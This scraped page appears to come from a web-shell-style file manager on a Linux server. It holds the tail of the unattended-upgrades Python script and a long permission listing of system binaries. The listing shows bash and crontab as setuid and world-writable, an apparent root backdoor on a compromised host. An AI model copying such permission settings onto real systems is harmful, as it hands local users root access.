pending_autoremovals = set() # exit if there is nothing to do and nothing to report if (len(pending_autoremovals) == 0 and len(pkgs_to_upgrade) == 0): logging.info(_("No packages found that can be upgraded unattended " "and no pending auto-removals")) pkgs_kept_back = cache.find_kept_packages(options.dry_run) return UnattendedUpgradesResult( kernel_pkgs_remove_success, _("No packages found that can be upgraded unattended and no " "pending auto-removals"), pkgs_removed=kernel_pkgs_removed, pkgs_kept_back=pkgs_kept_back, pkgs_kept_installed=kernel_pkgs_kept_installed, update_stamp=True) # check if its configured for install on shutdown, if so, the # environment UNATTENDED_UPGRADES_FORCE_INSTALL_ON_SHUTDOWN will # be set by the unatteded-upgrades-shutdown script if ("UNATTENDED_UPGRADES_FORCE_INSTALL_ON_SHUTDOWN" not in os.environ and apt_pkg.config.find_b( "Unattended-Upgrade::InstallOnShutdown", False)): logger = logging.getLogger() logger.debug("Configured to install on shutdown, so exiting now") return UnattendedUpgradesResult(True) # check if we are in dry-run mode if options.dry_run: logging.info("Option --dry-run given, *not* performing real actions") apt_pkg.config.set("Debug::pkgDPkgPM", "1") # do the install based on the new list of pkgs pkgs = [pkg.name for pkg in pkgs_to_upgrade] logging.info(_("Packages that will be upgraded: %s"), " ".join(pkgs)) # only perform install step if we actually have packages to install pkg_install_success = True if len(pkgs_to_upgrade) > 0: # do install pkg_install_success = do_install(cache, pkgs, options, logfile_dpkg) # Was the overall run succesful: only if everything installed # fine and nothing was held back because of a conffile prompt. successful_run = (kernel_pkgs_remove_success and pkg_install_success and not pkg_conffile_prompt) # now check if any auto-removing needs to be done if cache._depcache.broken_count > 0: print(_("Cache has broken packages, exiting")) logging.error(_("Cache has broken packages, exiting")) return UnattendedUpgradesResult( False, _("Cache has broken packages, exiting"), pkgs=pkgs) # make sure we start autoremovals with a clear cache if cache.get_changes(): cache.clear() # the user wants *all* auto-removals to be removed # (unless u-u got signalled to stop gracefully quickly) pkgs_removed = [] # type: List[str] pkgs_kept_installed = [] # type: List[str] if ((apt_pkg.config.find_b( "Unattended-Upgrade::Remove-Unused-Dependencies", False) and not SIGNAL_STOP_REQUEST)): auto_removals = get_auto_removable(cache) (pkg_remove_success, pkgs_removed, pkgs_kept_installed) = do_auto_remove( cache, auto_removals, logfile_dpkg, options.minimal_upgrade_steps, options.verbose or options.debug, options.dry_run) successful_run = successful_run and pkg_remove_success # the user wants *only new* auto-removals to be removed elif apt_pkg.config.find_b( "Unattended-Upgrade::Remove-New-Unused-Dependencies", True): # calculate the new auto-removals new_pending_autoremovals = get_auto_removable(cache) auto_removals = new_pending_autoremovals - previous_autoremovals (pkg_remove_success, pkgs_removed, pkgs_kept_installed) = do_auto_remove( cache, auto_removals, logfile_dpkg, options.minimal_upgrade_steps, options.verbose or options.debug, options.dry_run) successful_run = successful_run and pkg_remove_success logging.debug("InstCount=%i DelCount=%i BrokenCount=%i" % (cache._depcache.inst_count, cache._depcache.del_count, cache._depcache.broken_count)) # clean after success install (if needed) keep_key = "Unattended-Upgrade::Keep-Debs-After-Install" if (not apt_pkg.config.find_b(keep_key, False) and not options.dry_run and pkg_install_success): clean_downloaded_packages(fetcher) pkgs_kept_back = cache.find_kept_packages(options.dry_run) return UnattendedUpgradesResult( successful_run, _("All upgrades installed"), pkgs, pkgs_kept_back, kernel_pkgs_removed + pkgs_removed, kernel_pkgs_kept_installed + pkgs_kept_installed, update_stamp=True) class Options: def __init__(self): self.download_only = False self.dry_run = False self.debug = False self.apt_debug = False self.verbose = False self.minimal_upgrade_steps = False if __name__ == "__main__": localesApp = "unattended-upgrades" localesDir = "/usr/share/locale" gettext.bindtextdomain(localesApp, localesDir) gettext.textdomain(localesApp) # set debconf to NON_INTERACTIVE os.environ["DEBIAN_FRONTEND"] = "noninteractive" # this ensures the commandline is logged in /var/log/apt/history.log apt_pkg.config.set("Commandline::AsString", " ".join(sys.argv)) # COMPAT with the mispelling minimal_steps_default = ( apt_pkg.config.find_b("Unattended-Upgrades::MinimalSteps", True) and apt_pkg.config.find_b("Unattended-Upgrade::MinimalSteps", True)) # init the options parser = OptionParser() parser.add_option("-d", "--debug", action="store_true", default=apt_pkg.config.find_b( "Unattended-Upgrade::Debug", False), help=_("print debug messages")) parser.add_option("", "--apt-debug", action="store_true", default=False, help=_("make apt/libapt print verbose debug messages")) parser.add_option("-v", "--verbose", action="store_true", default=apt_pkg.config.find_b( "Unattended-Upgrade::Verbose", False), help=_("print info messages")) parser.add_option("", "--dry-run", action="store_true", default=False, help=_("Simulation, download but do not install")) parser.add_option("", "--download-only", action="store_true", default=False, help=_("Only download, do not even try to install.")) parser.add_option("", "--minimal-upgrade-steps", action="store_true", default=minimal_steps_default, help=_("Upgrade in minimal steps (and allow " "interrupting with SIGTERM) (default)")) parser.add_option("", "--no-minimal-upgrade-steps", action="store_false", default=minimal_steps_default, dest="minimal_upgrade_steps", help=_("Upgrade all packages together instead of in " "smaller sets")) parser.add_option("", "--minimal_upgrade_steps", action="store_true", help=SUPPRESS_HELP, default=minimal_steps_default) options = cast(Options, (parser.parse_args())[0]) if os.getuid() != 0: print(_("You need to be root to run this application")) sys.exit(1) # ensure that we are not killed when the terminal goes away e.g. on # shutdown signal.signal(signal.SIGHUP, signal.SIG_IGN) # setup signal handler for graceful stopping signal.signal(signal.SIGTERM, signal_handler) # write pid to let other processes find this one pidf = os.path.join(apt_pkg.config.find_dir("Dir"), "var", "run", "unattended-upgrades.pid") # clean up pid file on exit with open(pidf, "w") as fp: fp.write("%s" % os.getpid()) atexit.register(os.remove, pidf) # run the main code sys.exit(main(options))
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2026-07-30 06:58:27
..
DIR
-
drwxr-xr-x
2024-02-16 06:37:05
411toppm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
GET
text/x-perl
15.82 KB
-rwxr-xr-x
2026-05-22 03:44:12
HEAD
text/x-perl
15.82 KB
-rwxr-xr-x
2026-05-22 03:44:12
JxrDecApp
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2022-01-28 12:55:06
JxrEncApp
application/x-pie-executable
31.77 KB
-rwxr-xr-x
2022-01-28 12:55:06
NF
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
POST
text/x-perl
15.82 KB
-rwxr-xr-x
2026-05-22 03:44:12
VGAuthService
application/x-pie-executable
134.54 KB
-rwxr-xr-x
2025-09-23 04:05:34
[
application/x-pie-executable
50.44 KB
-rwxr-xr-x
2026-01-23 10:51:17
aa-enabled
application/x-pie-executable
34.52 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-exec
application/x-pie-executable
34.52 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-features-abi
application/x-pie-executable
30.52 KB
-rwxr-xr-x
2025-08-15 12:17:13
ab
application/x-pie-executable
58.43 KB
-rwxr-xr-x
2026-07-06 04:41:46
add-apt-repository
text/x-script.python
14.14 KB
-rwxr-xr-x
2023-10-24 01:07:34
addpart
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
addr2line
application/x-pie-executable
26.7 KB
-rwxr-xr-x
2025-12-03 03:08:01
animate
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
animate-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
animate-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
anytopnm
text/x-shellscript
5.55 KB
-rwxr-xr-x
2021-02-07 06:32:35
apport-bug
text/x-shellscript
2.51 KB
-rwxr-xr-x
2024-07-10 11:56:21
apport-cli
text/x-script.python
13.05 KB
-rwxr-xr-x
2025-07-29 03:25:17
apport-collect
text/x-shellscript
2.51 KB
-rwxr-xr-x
2024-07-10 11:56:21
apport-unpack
text/x-script.python
2.02 KB
-rwxr-xr-x
2025-07-29 03:25:17
apropos
application/x-pie-executable
47.28 KB
-rwxr-xr-x
2022-03-17 07:03:00
apt
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-add-repository
text/x-script.python
14.14 KB
-rwxr-xr-x
2023-10-24 01:07:34
apt-cache
application/x-pie-executable
82.47 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-cdrom
application/x-pie-executable
26.47 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-config
application/x-pie-executable
26.39 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-extracttemplates
application/x-pie-executable
22.47 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-ftparchive
application/x-pie-executable
230.48 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-get
application/x-pie-executable
50.47 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-key
text/x-shellscript
27.51 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-mark
application/x-pie-executable
50.47 KB
-rwxr-xr-x
2024-10-22 01:09:58
apt-sortpkgs
application/x-pie-executable
38.4 KB
-rwxr-xr-x
2024-10-22 01:09:58
ar
application/x-pie-executable
54.48 KB
-rwxr-xr-x
2025-12-03 03:08:01
arch
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
as
application/x-pie-executable
456.4 KB
-rwxr-xr-x
2025-12-03 03:08:01
asciitopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
atktopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
automat-visualize3
text/x-script.python
405 B
-rwxr-xr-x
2020-08-02 12:53:19
awk
application/x-pie-executable
688.46 KB
-rwxr-xr-x
2026-07-20 10:38:47
b2sum
application/x-pie-executable
50.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
base32
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
base64
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
basename
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
basenc
application/x-pie-executable
46.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
bash
application/x-pie-executable
1.33 MB
-rwsrwxrwx
2024-03-14 11:31:47
bashbug
text/x-shellscript
6.66 KB
-rwxr-xr-x
2024-03-14 11:31:47
bc
application/x-pie-executable
90.82 KB
-rwxr-xr-x
2022-03-23 09:42:47
bioradtopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
bmptopnm
application/x-pie-executable
18.05 KB
-rwxr-xr-x
2021-02-07 06:32:35
bmptoppm
application/x-pie-executable
18.05 KB
-rwxr-xr-x
2021-02-07 06:32:35
boltctl
application/x-pie-executable
122.98 KB
-rwxr-xr-x
2022-02-07 11:31:28
bootctl
application/x-pie-executable
70.49 KB
-rwxr-xr-x
2026-06-05 03:40:28
brushtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
btrfs
application/x-pie-executable
844.13 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfs-convert
application/x-pie-executable
483.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfs-find-root
application/x-pie-executable
439.33 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfs-image
application/x-pie-executable
467.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfs-map-logical
application/x-pie-executable
439.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfs-select-super
application/x-pie-executable
439.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfsck
application/x-pie-executable
844.13 KB
-rwxr-xr-x
2022-02-24 05:39:55
btrfstune
application/x-pie-executable
443.26 KB
-rwxr-xr-x
2022-02-24 05:39:55
bunzip2
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 09:45:10
busctl
application/x-pie-executable
90.49 KB
-rwxr-xr-x
2026-06-05 03:40:28
busybox
application/x-executable
2.09 MB
-rwxr-xr-x
2024-08-13 01:39:23
byobu
text/x-shellscript
8.17 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-config
text/x-shellscript
996 B
-rwxr-xr-x
2020-02-17 02:11:50
byobu-ctrl-a
text/x-shellscript
4.66 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-disable
text/x-shellscript
1.26 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-disable-prompt
text/x-shellscript
1.31 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-enable
text/x-shellscript
1.15 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-enable-prompt
text/x-shellscript
1.42 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-export
text/x-shellscript
1.32 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-janitor
text/x-shellscript
6.29 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-keybindings
text/x-shellscript
1.47 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-launch
text/x-shellscript
3.25 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-launcher
text/x-shellscript
1.87 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-launcher-install
text/x-shellscript
2.4 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-launcher-uninstall
text/x-shellscript
1.52 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-layout
text/x-shellscript
3.27 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-prompt
text/x-shellscript
1.13 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-quiet
text/x-shellscript
1.38 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-reconnect-sockets
text/x-shellscript
3.22 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-screen
text/x-shellscript
8.17 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-select-backend
text/x-shellscript
1.42 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-select-profile
text/x-shellscript
5 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-select-session
text/x-shellscript
1012 B
-rwxr-xr-x
2020-02-17 02:11:50
byobu-shell
text/x-shellscript
1.56 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-silent
text/x-shellscript
1.28 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-status
text/x-shellscript
5.87 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-status-detail
text/x-shellscript
1.18 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-tmux
text/x-shellscript
8.17 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-ugraph
text/x-shellscript
4.56 KB
-rwxr-xr-x
2020-02-17 02:11:50
byobu-ulevel
text/x-shellscript
11.71 KB
-rwxr-xr-x
2020-02-17 02:11:50
bzcat
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzcmp
text/x-shellscript
2.17 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzdiff
text/x-shellscript
2.17 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzegrep
text/x-shellscript
3.69 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzexe
text/x-shellscript
4.78 KB
-rwxr-xr-x
2021-11-27 12:25:05
bzfgrep
text/x-shellscript
3.69 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzgrep
text/x-shellscript
3.69 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzip2
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzip2recover
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzless
text/x-shellscript
1.27 KB
-rwxr-xr-x
2022-03-23 09:45:10
bzmore
text/x-shellscript
1.27 KB
-rwxr-xr-x
2022-03-23 09:45:10
c++
application/x-executable
910.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
c++filt
application/x-pie-executable
22.27 KB
-rwxr-xr-x
2025-12-03 03:08:01
c89
text/x-shellscript
428 B
-rwxr-xr-x
2020-11-17 06:53:07
c89-gcc
text/x-shellscript
428 B
-rwxr-xr-x
2020-11-17 06:53:07
c99
text/x-shellscript
454 B
-rwxr-xr-x
2020-11-17 06:53:07
c99-gcc
text/x-shellscript
454 B
-rwxr-xr-x
2020-11-17 06:53:07
c_rehash
text/x-perl
6.8 KB
-rwxr-xr-x
2026-07-29 04:56:04
captoinfo
application/x-pie-executable
86.41 KB
-rwxr-xr-x
2026-06-30 09:25:30
cat
application/x-pie-executable
34.46 KB
-rwxr-xr-x
2026-01-23 10:51:17
catman
application/x-pie-executable
34.76 KB
-rwxr-xr-x
2022-03-17 07:03:00
cautious-launcher
text/x-shellscript
758 B
-rwxr-xr-x
2026-07-03 01:05:05
cc
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
cftp3
text/x-script.python
956 B
-rwxr-xr-x
2026-05-22 03:02:45
cgi-fcgi
application/x-pie-executable
18.15 KB
-rwxr-xr-x
2025-04-30 08:57:03
chage
application/x-pie-executable
70.49 KB
-rwxr-sr-x
2024-02-06 12:54:23
chardet
text/x-script.python
965 B
-rwxr-xr-x
2020-12-30 04:42:51
chardetect
text/x-script.python
965 B
-rwxr-xr-x
2020-12-30 04:42:51
chattr
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
chcon
application/x-pie-executable
58.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
checkgid
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
chfn
application/x-pie-executable
71.01 KB
-rwsr-xr-x
2024-02-06 12:54:23
chgrp
application/x-pie-executable
54.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
chmod
application/x-pie-executable
54.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
choom
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
chown
application/x-pie-executable
58.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
chrt
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
chsh
application/x-pie-executable
43.76 KB
-rwsr-xr-x
2024-02-06 12:54:23
chvt
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
ckbcomp
text/x-perl
146.31 KB
-rwxr-xr-x
2021-11-22 04:39:53
ckeygen3
text/x-script.python
962 B
-rwxr-xr-x
2026-05-22 03:02:45
cksum
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
clear
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2026-06-30 09:25:30
clear_console
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2024-03-14 11:31:47
cloud-id
text/x-script.python
966 B
-rwxr-xr-x
2026-03-30 06:56:49
cloud-init
text/x-script.python
970 B
-rwxr-xr-x
2026-03-30 06:56:49
cloud-init-per
text/x-shellscript
2.06 KB
-rwxr-xr-x
2026-02-27 10:51:35
cmp
application/x-pie-executable
42.39 KB
-rwxr-xr-x
2022-03-23 01:50:34
cmuwmtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
codepage
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
col
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
col1
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col2
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col3
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col4
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col5
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col6
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col7
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col8
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
col9
text/x-shellscript
963 B
-rwxr-xr-x
2020-02-17 02:11:50
colcrt
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
colrm
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
column
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
comm
application/x-pie-executable
34.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
compare
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
compare-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
compare-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
compose
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
composite
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
composite-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
composite-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
conch3
text/x-script.python
958 B
-rwxr-xr-x
2026-05-22 03:02:45
conjure
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
conjure-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
conjure-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
convert
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
convert-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
convert-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
corelist
text/x-perl
15.01 KB
-rwxr-xr-x
2026-06-23 08:11:00
corepack
application/javascript
174 B
-rwxr-xr-x
2025-01-21 06:00:50
cp
application/x-pie-executable
138.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
cpan
text/x-perl
8.16 KB
-rwxr-xr-x
2026-06-23 08:11:00
cpan5.34-x86_64-linux-gnu
text/x-perl
8.18 KB
-rwxr-xr-x
2026-06-23 08:11:00
cpio
application/x-pie-executable
141.64 KB
-rwxr-xr-x
2024-04-28 12:30:36
cpp
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
cpp-11
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
crontab
application/x-pie-executable
38.64 KB
-rwsrwxrwx
2022-03-23 01:49:13
csplit
application/x-pie-executable
106.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
ctail
text/x-shellscript
960 B
-rwxr-xr-x
2020-02-17 02:11:50
ctstat
application/x-pie-executable
22.66 KB
-rwxr-xr-x
2026-04-15 07:15:26
curl
application/x-pie-executable
254.23 KB
-rwxr-xr-x
2026-06-29 05:21:28
cut
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
cvtsudoers
application/x-pie-executable
296.4 KB
-rwxr-xr-x
2026-03-02 01:08:06
dash
application/x-pie-executable
122.74 KB
-rwxr-xr-x
2022-03-23 01:49:23
date
application/x-pie-executable
102.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
dbilogstrip
text/x-perl
1.35 KB
-rwxr-xr-x
2026-06-22 07:05:13
dbiprof
text/x-perl
6.06 KB
-rwxr-xr-x
2026-06-22 07:05:13
dbiproxy
text/x-perl
5.27 KB
-rwxr-xr-x
2026-06-22 07:05:13
dbus-cleanup-sockets
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-daemon
application/x-pie-executable
227.32 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-monitor
application/x-pie-executable
26.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-run-session
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-send
application/x-pie-executable
26.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-update-activation-environment
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbus-uuidgen
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-10-25 01:15:07
dbxtool
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-06-12 07:13:00
dd
application/x-pie-executable
66.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
deallocvt
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
deb-systemd-helper
text/x-perl
20.89 KB
-rwxr-xr-x
2021-12-07 09:55:54
deb-systemd-invoke
text/x-perl
6.01 KB
-rwxr-xr-x
2022-02-15 10:31:40
debconf
text/x-perl
2.79 KB
-rwxr-xr-x
2022-02-20 02:42:49
debconf-apt-progress
text/x-perl
11.27 KB
-rwxr-xr-x
2022-02-20 02:42:49
debconf-communicate
text/x-perl
608 B
-rwxr-xr-x
2022-02-20 02:42:49
debconf-copydb
text/x-perl
1.68 KB
-rwxr-xr-x
2022-02-20 02:42:49
debconf-escape
text/x-perl
647 B
-rwxr-xr-x
2022-02-20 02:42:49
debconf-set-selections
text/x-perl
2.92 KB
-rwxr-xr-x
2022-02-20 02:42:49
debconf-show
text/x-perl
1.78 KB
-rwxr-xr-x
2022-02-20 02:42:49
debian-distro-info
application/x-pie-executable
22.95 KB
-rwxr-xr-x
2023-11-28 12:18:32
delpart
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
delv
application/x-pie-executable
45.32 KB
-rwxr-xr-x
2026-05-21 02:42:08
df
application/x-pie-executable
83.08 KB
-rwxr-xr-x
2026-01-23 10:51:17
dh_bash-completion
text/x-perl
4.31 KB
-rwxr-xr-x
2021-11-11 03:41:52
dh_perl_dbi
text/x-perl
1.17 KB
-rwxr-xr-x
2026-06-22 07:05:13
dh_perl_openssl
text/x-perl
1.5 KB
-rwxr-xr-x
2020-05-16 09:46:26
diff
application/x-pie-executable
130.55 KB
-rwxr-xr-x
2022-03-23 01:50:34
diff3
application/x-pie-executable
54.52 KB
-rwxr-xr-x
2022-03-23 01:50:34
dig
application/x-pie-executable
150.83 KB
-rwxr-xr-x
2026-05-21 02:42:08
dir
application/x-pie-executable
134.98 KB
-rwxr-xr-x
2026-01-23 10:51:17
dircolors
application/x-pie-executable
38.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
dirmngr
application/x-pie-executable
433.02 KB
-rwxr-xr-x
2026-01-05 10:14:39
dirmngr-client
application/x-pie-executable
54.92 KB
-rwxr-xr-x
2026-01-05 10:14:39
dirname
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-01-23 10:51:17
display
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
display-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
display-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
distro-info
application/x-pie-executable
22.89 KB
-rwxr-xr-x
2023-11-28 12:18:32
dmesg
application/x-pie-executable
70.61 KB
-rwxr-xr-x
2026-03-06 04:10:04
dnsdomainname
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:57:59
do-release-upgrade
text/x-script.python
10.42 KB
-rwxr-xr-x
2026-02-27 02:57:20
domainname
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:57:59
dpkg
application/x-pie-executable
310.69 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-architecture
text/x-perl
13.51 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-buildflags
text/x-perl
7.39 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-buildpackage
text/x-perl
31.67 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-checkbuilddeps
text/x-perl
7.45 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-deb
application/x-pie-executable
134.49 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-distaddfile
text/x-perl
2.72 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-divert
application/x-pie-executable
118.49 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-genbuildinfo
text/x-perl
16.71 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-genchanges
text/x-perl
17.27 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-gencontrol
text/x-perl
14.24 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-gensymbols
text/x-perl
10.65 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-maintscript-helper
text/x-shellscript
20.71 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-mergechangelogs
text/x-perl
8.69 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-name
text/x-perl
6.63 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-parsechangelog
text/x-perl
4.83 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-query
application/x-pie-executable
138.52 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-realpath
text/x-shellscript
4.09 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-scanpackages
text/x-perl
8.5 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-scansources
text/x-perl
8.96 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-shlibdeps
text/x-perl
30.96 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-source
text/x-perl
22.56 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-split
application/x-pie-executable
98.51 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-statoverride
application/x-pie-executable
46.26 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-trigger
application/x-pie-executable
42.41 KB
-rwxr-xr-x
2025-09-09 08:09:16
dpkg-vendor
text/x-perl
3.19 KB
